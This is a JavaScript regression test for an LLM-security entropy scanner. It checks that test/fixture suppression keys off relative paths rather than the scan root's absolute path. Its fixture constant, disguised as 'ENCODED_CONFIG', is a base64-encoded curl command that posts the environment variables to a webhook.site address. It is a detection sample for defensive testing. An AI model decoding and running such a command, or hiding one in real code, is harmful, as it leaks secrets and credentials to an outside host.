llm-security/tests/scanners/entropy-path-suppression.test.mjs

// entropy-path-suppression.test.mjs — Regression tests for the test/fixture
// suppression rule in entropy-scanner.
//
// The suppression rule ("this file is a test fixture, example secrets are
// expected") must key off the path RELATIVE to the scan target. Keying it off
// the ABSOLUTE path lets a directory name anywhere above the scan root — a
// clone target, a parent folder, a CI workspace — silence every finding in the
// whole repository.

import { describe, it, beforeEach, after } from 'node:test';
import assert from 'node:assert/strict';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/entropy-scanner.mjs';

// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18.
const PAYLOAD =
  'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`;

const created = [];

/** Make a scan root whose own directory name contains `marker`. */
async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) {
  const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`));
  created.push(root);
  await writeFile(join(root, fileName), content, 'utf8');
  return root;
}

async function scanRepo(root) {
  resetCounter();
  const discovery = await discoverFiles(root);
  return scan(root, discovery);
}

after(async () => {
  for (const dir of created) await rm(dir, { recursive: true, force: true });
});

describe('entropy-scanner — suppression must not key off the absolute path', () => {
  let baseline;

  beforeEach(async () => {
    resetCounter();
  });

  it('detects the payload under a neutral scan root (control)', async () => {
    const root = await makeRepo('neutral');
    baseline = await scanRepo(root);
    assert.equal(baseline.status, 'ok');
    assert.ok(
      baseline.findings.length >= 1,
      `control must detect the payload, got ${baseline.findings.length} findings`
    );
  });

  // Regression: each of these markers appears ONLY in the absolute path of the
  // scan root, never in the relative path of the scanned file. Before the fix
  // every one of them silenced the entire scan.
  for (const marker of ['test', 'spec', 'fixture', 'mock']) {
    it(`still detects the payload when the scan root contains "${marker}"`, async () => {
      const root = await makeRepo(marker);
      const result = await scanRepo(root);
      assert.equal(result.status, 'ok');
      assert.ok(
        result.findings.length >= 1,
        `scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` +
        `(root=${root})`
      );
      assert.equal(result.findings[0].file, 'app.mjs');
    });
  }

  it('still suppresses a file that is genuinely a test file (relative path)', async () => {
    const root = await makeRepo('neutral2', 'secrets.test.mjs');
    const result = await scanRepo(root);
    assert.equal(result.status, 'ok');
    assert.equal(
      result.findings.length,
      0,
      'a real .test.mjs file must still be suppressed'
    );
  });

  it('still suppresses a file inside a relative tests/ directory', async () => {
    const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-'));
    created.push(root);
    await mkdir(join(root, 'tests'), { recursive: true });
    await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8');
    const result = await scanRepo(root);
    assert.equal(result.status, 'ok');
    assert.equal(
      result.findings.length,
      0,
      'a file under a relative tests/ directory must still be suppressed'
    );
  });
});